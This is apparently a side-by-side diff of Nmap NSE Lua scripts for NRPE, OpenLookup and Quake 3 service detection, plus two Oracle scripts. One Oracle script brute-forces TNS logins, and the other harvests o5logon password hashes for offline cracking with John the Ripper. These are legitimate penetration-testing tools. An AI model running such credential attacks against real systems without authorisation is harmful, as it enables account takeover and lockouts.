-- Try each NRPE command, and collect the results. -- Try each NRPE command, and collect the results.
for _, cmd in pairs(cmds) do for _, cmd in pairs(cmds) do
local status, result = nrpe_check(host, port, cmd) local status, result = nrpe_check(host, port, cmd)
if status then if status then
tab.addrow( tab.addrow(
results, results,
cmd, cmd,
NRPE_STATES[result.state], NRPE_STATES[result.state],
result.data result.data
) )
end end
end end
-- If no queries generated responses, don't output anything. -- If no queries generated responses, don't output anything.
if #results == 1 then if #results == 1 then
return return
end end
-- Record service description. -- Record service description.
port.version.name = "nrpe" port.version.name = "nrpe"
port.version.product = "Nagios Remote Plugin Executor" port.version.product = "Nagios Remote Plugin Executor"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
-- Format table, without trailing newline. -- Format table, without trailing newline.
results = tab.dump(results) results = tab.dump(results)
results = results:sub(1, #results - 1) results = results:sub(1, #results - 1)
return "\n" .. results return "\n" .. results
end end

View File

@@ -35,23 +35,23 @@ portrule = shortport.port_or_service(5850, "openlookup")
-- parses a Netstring element -- parses a Netstring element
local function parsechunk(data) local function parsechunk(data)
local parts = stdnse.strsplit(":", data) local parts = stdnse.strsplit(":", data)
if #parts < 2 then if #parts < 2 then
return nil, data return nil, data
end end
local head = table.remove(parts, 1) local head = table.remove(parts, 1)
local size = tonumber(head) local size = tonumber(head)
if not size then if not size then
return nil, data return nil, data
end end
local body = stdnse.strjoin(":", parts) local body = stdnse.strjoin(":", parts)
if #body < size then if #body < size then
return nil, data return nil, data
end end
local chunk = string.sub(body, 1, size) local chunk = string.sub(body, 1, size)
local skip = #chunk + string.len(",") local skip = #chunk + string.len(",")
local rest = string.sub(body, skip + 1) local rest = string.sub(body, skip + 1)
return chunk, rest return chunk, rest
end end
-- NSON helpers -- NSON helpers
@@ -59,203 +59,203 @@ end
-- parses an NSON int -- parses an NSON int
local function parseint(data) local function parseint(data)
if string.sub(data, 1, 1) ~= "i" then if string.sub(data, 1, 1) ~= "i" then
return return
end end
local text = string.sub(data, 2) local text = string.sub(data, 2)
local number = tonumber(text) local number = tonumber(text)
return number return number
end end
-- parses an NSON float -- parses an NSON float
local function parsefloat(data) local function parsefloat(data)
if string.sub(data, 1, 1) ~= "f" then if string.sub(data, 1, 1) ~= "f" then
return return
end end
local text = string.sub(data, 2) local text = string.sub(data, 2)
local number = tonumber(text) local number = tonumber(text)
return number return number
end end
-- parses an NSON string -- parses an NSON string
local function parsestring(data) local function parsestring(data)
if string.sub(data, 1, 1) ~= "s" then if string.sub(data, 1, 1) ~= "s" then
return return
end end
return string.sub(data, 2) return string.sub(data, 2)
end end
-- parses an NSON int, float, or string -- parses an NSON int, float, or string
local function parsesimple(data) local function parsesimple(data)
local i = parseint(data) local i = parseint(data)
local f = parsefloat(data) local f = parsefloat(data)
local s = parsestring(data) local s = parsestring(data)
return i or f or s return i or f or s
end end
-- parses an NSON dictionary -- parses an NSON dictionary
local function parsedict(data) local function parsedict(data)
if #data < 1 then if #data < 1 then
return return
end end
if string.sub(data, 1, 1) ~= "d" then if string.sub(data, 1, 1) ~= "d" then
return return
end end
local rest = string.sub(data, 2) local rest = string.sub(data, 2)
local dict = {} local dict = {}
while #rest > 0 do while #rest > 0 do
local chunk, key, value local chunk, key, value
chunk, rest = parsechunk(rest) chunk, rest = parsechunk(rest)
if not chunk then if not chunk then
return return
end end
key = parsestring(chunk) key = parsestring(chunk)
value, rest = parsechunk(rest) value, rest = parsechunk(rest)
if not value then if not value then
return return
end end
dict[key] = value dict[key] = value
end end
return dict return dict
end end
-- parses an NSON array -- parses an NSON array
local function parsearray(data) local function parsearray(data)
if #data < 1 then if #data < 1 then
return return
end end
if string.sub(data, 1, 1) ~= "a" then if string.sub(data, 1, 1) ~= "a" then
return return
end end
local rest = string.sub(data, 2) local rest = string.sub(data, 2)
local array = {} local array = {}
while #rest > 0 do while #rest > 0 do
local value local value
value, rest = parsechunk(rest) value, rest = parsechunk(rest)
if not value then if not value then
return return
end end
table.insert(array, value) table.insert(array, value)
end end
return array return array
end end
-- OpenLookup specific stuff -- OpenLookup specific stuff
local function formataddress(data) local function formataddress(data)
local parts = parsearray(data) local parts = parsearray(data)
if not parts then if not parts then
return return
end end
if #parts < 2 then if #parts < 2 then
return return
end end
local ip = parsestring(parts[1]) local ip = parsestring(parts[1])
if not ip then if not ip then
return return
end end
local port = parseint(parts[2]) local port = parseint(parts[2])
if not port then if not port then
return return
end end
return ip .. ":" .. port return ip .. ":" .. port
end end
local function formattime(data) local function formattime(data)
local time = parsefloat(data) local time = parsefloat(data)
if not time then if not time then
return return
end end
local human = stdnse.format_timestamp(time) local human = stdnse.format_timestamp(time)
return time .. " (" .. human .. ")" return time .. " (" .. human .. ")"
end end
local function formatkey(key) local function formatkey(key)
local parts = stdnse.strsplit("_", key) local parts = stdnse.strsplit("_", key)
return stdnse.strjoin(" ", parts) return stdnse.strjoin(" ", parts)
end end
local function formatvalue(key, nson) local function formatvalue(key, nson)
local value local value
if key == "your_address" then if key == "your_address" then
value = formataddress(nson) value = formataddress(nson)
elseif key == "timestamp" then elseif key == "timestamp" then
value = formattime(nson) value = formattime(nson)
else else
value = parsesimple(nson) value = parsesimple(nson)
end end
if not value then if not value then
value = "<" .. #nson .. "B of data>" value = "<" .. #nson .. "B of data>"
end end
return value return value
end end
local function format(rawkey, nson) local function format(rawkey, nson)
local key = formatkey(rawkey) local key = formatkey(rawkey)
local value = formatvalue(rawkey, nson) local value = formatvalue(rawkey, nson)
return key .. ": " .. value return key .. ": " .. value
end end
function formatoptions(header) function formatoptions(header)
local msg = parsedict(header) local msg = parsedict(header)
if not msg then if not msg then
return return
end end
local rawmeth = msg["method"] local rawmeth = msg["method"]
if not rawmeth then if not rawmeth then
stdnse.print_debug(2, "header missing method field") stdnse.print_debug(2, "header missing method field")
return return
end end
local method = parsestring(rawmeth) local method = parsestring(rawmeth)
if not method then if not method then
return return
end end
if method ~= "hello" then if method ~= "hello" then
stdnse.print_debug(1, "expecting hello, got " .. method .. " instead") stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
return return
end end
local rawopts = msg["options"] local rawopts = msg["options"]
if not rawopts then if not rawopts then
return {} return {}
end end
local options = parsedict(rawopts) local options = parsedict(rawopts)
if not options then if not options then
return return
end end
local formatted = {} local formatted = {}
for key, nson in pairs(options) do for key, nson in pairs(options) do
local tmp = format(key, nson) local tmp = format(key, nson)
if tmp then if tmp then
table.insert(formatted, tmp) table.insert(formatted, tmp)
end end
end end
return formatted return formatted
end end
action = function(host, port) action = function(host, port)
local status, banner = comm.get_banner(host, port) local status, banner = comm.get_banner(host, port)
if not status then if not status then
return return
end end
local header, _ = parsechunk(banner) local header, _ = parsechunk(banner)
if not header then if not header then
return return
end end
local options = formatoptions(header) local options = formatoptions(header)
if not options then if not options then
return return
end end
port.version.name = "openlookup" port.version.name = "openlookup"
local version = options["version"] local version = options["version"]
if version then if version then
port.version.version = version port.version.version = version
end end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
if #options < 1 then if #options < 1 then
return return
end end
local response = {} local response = {}
table.insert(response, options) table.insert(response, options)
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -63,141 +63,141 @@ local johnfile
Driver = Driver =
{ {
new = function(self, host, port, sid ) new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid } local o = { host = host, port = port, sid = sid }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
--- Connects performs protocol negotiation --- Connects performs protocol negotiation
-- --
-- @return true on success, false on failure -- @return true on success, false on failure
connect = function( self ) connect = function( self )
local MAX_RETRIES = 10 local MAX_RETRIES = 10
local tries = MAX_RETRIES local tries = MAX_RETRIES
self.helper = ConnectionPool[coroutine.running()] self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end if ( self.helper ) then return true end
self.helper = tns.Helper:new( self.host, self.port, self.sid ) self.helper = tns.Helper:new( self.host, self.port, self.sid )
-- This loop is intended for handling failed connections -- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons. -- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520 -- For the moment, we're just handling the error code 12520
-- --
-- Error 12520 has been observed on Oracle XE and seems to -- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached. -- occur when a maximum connection count is reached.
local status, data local status, data
repeat repeat
if ( tries < MAX_RETRIES ) then if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES) stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end end
status, data = self.helper:Connect() status, data = self.helper:Connect()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data) stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close() self.helper:Close()
else else
break break
end end
tries = tries - 1 tries = tries - 1
stdnse.sleep(1) stdnse.sleep(1)
until( tries == 0 or data ~= "12520" ) until( tries == 0 or data ~= "12520" )
if ( status ) then if ( status ) then
ConnectionPool[coroutine.running()] = self.helper ConnectionPool[coroutine.running()] = self.helper
end end
return status, data return status, data
end, end,
--- Attempts to login to the Oracle server --- Attempts to login to the Oracle server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, data = self.helper:StealthLogin( username, password ) local status, data = self.helper:StealthLogin( username, password )
if ( data["AUTH_VFR_DATA"] ) then if ( data["AUTH_VFR_DATA"] ) then
local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"]) local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
if ( johnfile ) then if ( johnfile ) then
johnfile:write(("%s:%s\n"):format(username,hash)) johnfile:write(("%s:%s\n"):format(username,hash))
end end
return true, brute.Account:new(username, hash, creds.State.HASHED) return true, brute.Account:new(username, hash, creds.State.HASHED)
else else
return false, brute.Error:new( data ) return false, brute.Error:new( data )
end end
end, end,
--- Disconnects and terminates the Oracle TNS communication --- Disconnects and terminates the Oracle TNS communication
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst" local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid') local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid) local engine = brute.Engine:new(Driver, host, port, sid)
local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts') local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
local mode = arg_accounts and "accounts" or "default" local mode = arg_accounts and "accounts" or "default"
if ( not(sid) ) then if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)" return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
end end
if ( arg_johnfile ) then if ( arg_johnfile ) then
johnfile = io.open(arg_johnfile, "w") johnfile = io.open(arg_johnfile, "w")
if ( not(johnfile) ) then if ( not(johnfile) ) then
return ("\n ERROR: Failed to open %s for writing"):format(johnfile) return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
end end
end end
local helper = tns.Helper:new( host, port, sid ) local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect() local status, result = helper:Connect()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server" return "\n ERROR: Failed to connect to oracle server"
end end
helper:Close() helper:Close()
if ( stdnse.get_script_args('userdb') or if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute-stealth.nodefault') or stdnse.get_script_args('oracle-brute-stealth.nodefault') or
stdnse.get_script_args('brute.credfile') ) then stdnse.get_script_args('brute.credfile') ) then
mode = nil mode = nil
end end
if ( mode == "default" ) then if ( mode == "default" ) then
local f = nmap.fetchfile(DEFAULT_ACCOUNTS) local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS) return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end end
f = io.open(f) f = io.open(f)
if ( not(f) ) then if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS) return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end end
engine.iterator = brute.Iterators.credential_iterator(f) engine.iterator = brute.Iterators.credential_iterator(f)
elseif( "accounts" == mode ) then elseif( "accounts" == mode ) then
engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts)) engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
end end
engine.options.useraspass = false engine.options.useraspass = false
engine.options.mode = "user" engine.options.mode = "user"
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
if ( johnfile ) then if ( johnfile ) then
johnfile:close() johnfile:close()
end end
return result return result
end end

View File

@@ -52,13 +52,13 @@ result in a large number of accounts being locked out on the database server.
-- Version 0.3 -- Version 0.3
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/23/2010 - v0.2 - added script usage and output and -- Revised 07/23/2010 - v0.2 - added script usage and output and
-- - oracle-brute.sid argument -- - oracle-brute.sid argument
-- Revised 07/25/2011 - v0.3 - added support for guessing default accounts -- Revised 07/25/2011 - v0.3 - added support for guessing default accounts
-- changed code to use ConnectionPool -- changed code to use ConnectionPool
-- Revised 03/13/2012 - v0.4 - revised by L<>szl<7A> T<>th -- Revised 03/13/2012 - v0.4 - revised by L<>szl<7A> T<>th
-- added support for SYSDBA accounts -- added support for SYSDBA accounts
-- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute -- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute
-- library [Aleksandar Nikolic] -- library [Aleksandar Nikolic]
-- --
-- Summary -- Summary
@@ -79,147 +79,147 @@ local sysdba = {}
Driver = Driver =
{ {
new = function(self, host, port, sid ) new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid } local o = { host = host, port = port, sid = sid }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
--- Connects performs protocol negotiation --- Connects performs protocol negotiation
-- --
-- @return true on success, false on failure -- @return true on success, false on failure
connect = function( self ) connect = function( self )
local MAX_RETRIES = 10 local MAX_RETRIES = 10
local tries = MAX_RETRIES local tries = MAX_RETRIES
self.helper = ConnectionPool[coroutine.running()] self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end if ( self.helper ) then return true end
self.helper = tns.Helper:new( self.host, self.port, self.sid ) self.helper = tns.Helper:new( self.host, self.port, self.sid )
-- This loop is intended for handling failed connections -- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons. -- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520 -- For the moment, we're just handling the error code 12520
-- --
-- Error 12520 has been observed on Oracle XE and seems to -- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached. -- occur when a maximum connection count is reached.
local status, data local status, data
repeat repeat
if ( tries < MAX_RETRIES ) then if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES) stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end end
status, data = self.helper:Connect() status, data = self.helper:Connect()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data) stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close() self.helper:Close()
else else
break break
end end
tries = tries - 1 tries = tries - 1
stdnse.sleep(1) stdnse.sleep(1)
until( tries == 0 or data ~= "12520" ) until( tries == 0 or data ~= "12520" )
if ( status ) then if ( status ) then
ConnectionPool[coroutine.running()] = self.helper ConnectionPool[coroutine.running()] = self.helper
end end
return status, data return status, data
end, end,
--- Attempts to login to the Oracle server --- Attempts to login to the Oracle server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, data = self.helper:Login( username, password ) local status, data = self.helper:Login( username, password )
if ( sysdba[username] ) then if ( sysdba[username] ) then
return false, brute.Error:new("Account already discovered") return false, brute.Error:new("Account already discovered")
end end
if ( status ) then if ( status ) then
self.helper:Close() self.helper:Close()
ConnectionPool[coroutine.running()] = nil ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
-- Check for account locked message -- Check for account locked message
elseif ( data:match("ORA[-]28000") ) then elseif ( data:match("ORA[-]28000") ) then
return true, brute.Account:new(username, password, creds.State.LOCKED) return true, brute.Account:new(username, password, creds.State.LOCKED)
-- Check for account is SYSDBA message -- Check for account is SYSDBA message
elseif ( data:match("ORA[-]28009") ) then elseif ( data:match("ORA[-]28009") ) then
sysdba[username] = true sysdba[username] = true
return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID) return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
-- check for any other message -- check for any other message
elseif ( data:match("ORA[-]%d+")) then elseif ( data:match("ORA[-]%d+")) then
stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data ) stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
return false, brute.Error:new(data) return false, brute.Error:new(data)
-- any other errors are likely communication related, attempt to re-try -- any other errors are likely communication related, attempt to re-try
else else
self.helper:Close() self.helper:Close()
ConnectionPool[coroutine.running()] = nil ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new(data) local err = brute.Error:new(data)
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end end
return false, brute.Error:new( data ) return false, brute.Error:new( data )
end, end,
--- Disconnects and terminates the Oracle TNS communication --- Disconnects and terminates the Oracle TNS communication
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst" local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args('oracle-brute.sid') or local sid = stdnse.get_script_args('oracle-brute.sid') or
stdnse.get_script_args('tns.sid') stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid) local engine = brute.Engine:new(Driver, host, port, sid)
local mode = "default" local mode = "default"
if ( not(sid) ) then if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)" return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
end end
local helper = tns.Helper:new( host, port, sid ) local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect() local status, result = helper:Connect()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server" return "\n ERROR: Failed to connect to oracle server"
end end
helper:Close() helper:Close()
local f local f
if ( stdnse.get_script_args('userdb') or if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute.nodefault') or stdnse.get_script_args('oracle-brute.nodefault') or
stdnse.get_script_args('brute.credfile') ) then stdnse.get_script_args('brute.credfile') ) then
mode = nil mode = nil
end end
if ( mode == "default" ) then if ( mode == "default" ) then
f = nmap.fetchfile(DEFAULT_ACCOUNTS) f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS) return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end end
f = io.open(f) f = io.open(f)
if ( not(f) ) then if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS) return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end end
engine.iterator = brute.Iterators.credential_iterator(f) engine.iterator = brute.Iterators.credential_iterator(f)
end end
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -69,188 +69,188 @@ categories = {"default", "discovery", "safe", "version"}
local function range(first, last) local function range(first, last)
local list = {} local list = {}
for i = first, last do for i = first, last do
table.insert(list, i) table.insert(list, i)
end end
return list return list
end end
portrule = shortport.port_or_service(range(27960, 27970), {'quake3'}, 'udp') portrule = shortport.port_or_service(range(27960, 27970), {'quake3'}, 'udp')
local function parsefields(data) local function parsefields(data)
local fields = {} local fields = {}
local parts = stdnse.strsplit("\\", data) local parts = stdnse.strsplit("\\", data)
local nullprefix = table.remove(parts, 1) local nullprefix = table.remove(parts, 1)
if nullprefix ~= "" then if nullprefix ~= "" then
stdnse.print_debug(2, "unrecognized field format, skipping options") stdnse.print_debug(2, "unrecognized field format, skipping options")
return {} return {}
end end
for i = 1, #parts, 2 do for i = 1, #parts, 2 do
local key = parts[i] local key = parts[i]
local value = parts[i + 1] local value = parts[i + 1]
fields[key] = value fields[key] = value
end end
return fields return fields
end end
local function parsename(data) local function parsename(data)
local parts = stdnse.strsplit('"', data) local parts = stdnse.strsplit('"', data)
if #parts ~= 3 then if #parts ~= 3 then
return nil return nil
end end
local e1 = parts[1] local e1 = parts[1]
local name = parts[2] local name = parts[2]
local e2 = parts[3] local e2 = parts[3]
local extra = e1 .. e2 local extra = e1 .. e2
if extra ~= "" then if extra ~= "" then
return nil return nil
end end
return name return name
end end
local function parseplayer(data) local function parseplayer(data)
local parts = stdnse.strsplit(" ", data) local parts = stdnse.strsplit(" ", data)
if #parts < 3 then if #parts < 3 then
stdnse.print_debug(2, "player info line is missing elements, skipping a player") stdnse.print_debug(2, "player info line is missing elements, skipping a player")
return nil return nil
end end
if #parts > 3 then if #parts > 3 then
stdnse.print_debug(2, "player info line has unknown elements, skipping a player") stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
return nil return nil
end end
local player = {} local player = {}
player.frags = parts[1] player.frags = parts[1]
player.ping = parts[2] player.ping = parts[2]
player.name = parsename(parts[3]) player.name = parsename(parts[3])
if player.name == nil then if player.name == nil then
stdnse.print_debug(2, "invalid player name serialization, skipping a player") stdnse.print_debug(2, "invalid player name serialization, skipping a player")
return nil return nil
end end
return player return player
end end
local function parseplayers(data) local function parseplayers(data)
local players = {} local players = {}
for _, p in ipairs(data) do for _, p in ipairs(data) do
local player = parseplayer(p) local player = parseplayer(p)
if player then if player then
table.insert(players, player) table.insert(players, player)
end end
end end
return players return players
end end
local function is_leader(a, b) local function is_leader(a, b)
local collide = a.name == b.name local collide = a.name == b.name
local even = a.frags == b.frags local even = a.frags == b.frags
local leads = a.frags > b.frags local leads = a.frags > b.frags
local alphab = a.name > b.name local alphab = a.name > b.name
local faster = a.ping > b.ping local faster = a.ping > b.ping
return leads or (even and alphab) or (even and collide and faster) return leads or (even and alphab) or (even and collide and faster)
end end
local function formatplayers(players, fraglimit) local function formatplayers(players, fraglimit)
table.sort(players, is_leader) table.sort(players, is_leader)
local printable = {} local printable = {}
for i, player in ipairs(players) do for i, player in ipairs(players) do
local name = player.name local name = player.name
local ping = player.ping local ping = player.ping
local frags = player.frags local frags = player.frags
if fraglimit then if fraglimit then
frags = string.format("%s/%s", frags, fraglimit) frags = string.format("%s/%s", frags, fraglimit)
end end
table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping)) table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
end end
printable["name"] = "PLAYERS:" printable["name"] = "PLAYERS:"
return printable return printable
end end
local function formatfields(fields, title) local function formatfields(fields, title)
local printable = {} local printable = {}
for key, value in pairs(fields) do for key, value in pairs(fields) do
local kv = string.format("%s: %s", key, value) local kv = string.format("%s: %s", key, value)
table.insert(printable, kv) table.insert(printable, kv)
end end
table.sort(printable) table.sort(printable)
printable["name"] = title printable["name"] = title
return printable return printable
end end
local function assorted(fields) local function assorted(fields)
local basic = {} local basic = {}
local other = {} local other = {}
for key, value in pairs(fields) do for key, value in pairs(fields) do
if string.find(key, "_") == nil then if string.find(key, "_") == nil then
basic[key] = value basic[key] = value
else else
other[key] = value other[key] = value
end end
end end
return basic, other return basic, other
end end
action = function(host, port) action = function(host, port)
local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n") local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse") local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"}) local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
if not status then if not status then
return return
end end
local parts = stdnse.strsplit("\n", data) local parts = stdnse.strsplit("\n", data)
local header = table.remove(parts, 1) local header = table.remove(parts, 1)
if header ~= STATUSRESP then if header ~= STATUSRESP then
return return
end end
if #parts < 2 then if #parts < 2 then
stdnse.print_debug(2, "incomplete status response, script abort") stdnse.print_debug(2, "incomplete status response, script abort")
return return
end end
local nullend = table.remove(parts) local nullend = table.remove(parts)
if nullend ~= "" then if nullend ~= "" then
stdnse.print_debug(2, "missing terminating endline, script abort") stdnse.print_debug(2, "missing terminating endline, script abort")
return return
end end
local field_data = table.remove(parts, 1) local field_data = table.remove(parts, 1)
local player_data = parts local player_data = parts
local fields = parsefields(field_data) local fields = parsefields(field_data)
local players = parseplayers(player_data) local players = parseplayers(player_data)
local basic, other = assorted(fields) local basic, other = assorted(fields)
-- Previously observed version strings: -- Previously observed version strings:
-- "tremulous 1.1.0 linux-x86_64 Aug  5 2010" -- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
-- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011" -- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
local versionline = basic["version"] local versionline = basic["version"]
if versionline then if versionline then
local fields = stdnse.strsplit(" ", versionline) local fields = stdnse.strsplit(" ", versionline)
local product = fields[1] local product = fields[1]
local version = fields[2] local version = fields[2]
local osline = fields[3] local osline = fields[3]
port.version.name = "quake3" port.version.name = "quake3"
port.version.product = product port.version.product = product
port.version.version = version port.version.version = version
if string.find(osline, "linux") then if string.find(osline, "linux") then
port.version.ostype = "Linux" port.version.ostype = "Linux"
end end
if string.find(osline, "win") then if string.find(osline, "win") then
port.version.ostype = "Windows" port.version.ostype = "Windows"
end end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
local fraglimit = fields["fraglimit"] local fraglimit = fields["fraglimit"]
if not fraglimit then if not fraglimit then
fraglimit = "?" fraglimit = "?"
end end
local response = {} local response = {}
table.insert(response, formatplayers(players, fraglimit)) table.insert(response, formatplayers(players, fraglimit))
table.insert(response, formatfields(basic, "BASIC OPTIONS:")) table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
table.insert(response, formatfields(other, "OTHER OPTIONS:")) table.insert(response, formatfields(other, "OTHER OPTIONS:"))
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -30,7 +30,7 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"}) portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"})
postrule = function() postrule = function()
return (nmap.registry.q3m_servers ~= nil) return (nmap.registry.q3m_servers ~= nil)
end end
-- There are various sources for this information. These include: -- There are various sources for this information. These include:
@@ -41,213 +41,213 @@ end
-- - scanning master servers -- - scanning master servers
-- - looking at game traffic with Wireshark -- - looking at game traffic with Wireshark
local KNOWN_PROTOCOLS = { local KNOWN_PROTOCOLS = {
["5"] = "Call of Duty", ["5"] = "Call of Duty",
["10"] = "unknown", ["10"] = "unknown",
["43"] = "unknown", ["43"] = "unknown",
["48"] = "unknown", ["48"] = "unknown",
["50"] = "Return to Castle Wolfenstein", ["50"] = "Return to Castle Wolfenstein",
["57"] = "unknown", ["57"] = "unknown",
["59"] = "Return to Castle Wolfenstein", ["59"] = "Return to Castle Wolfenstein",
["60"] = "Return to Castle Wolfenstein", ["60"] = "Return to Castle Wolfenstein",
["66"] = "Quake III Arena", ["66"] = "Quake III Arena",
["67"] = "Quake III Arena", ["67"] = "Quake III Arena",
["68"] = "Quake III Arena, or Urban Terror", ["68"] = "Quake III Arena, or Urban Terror",
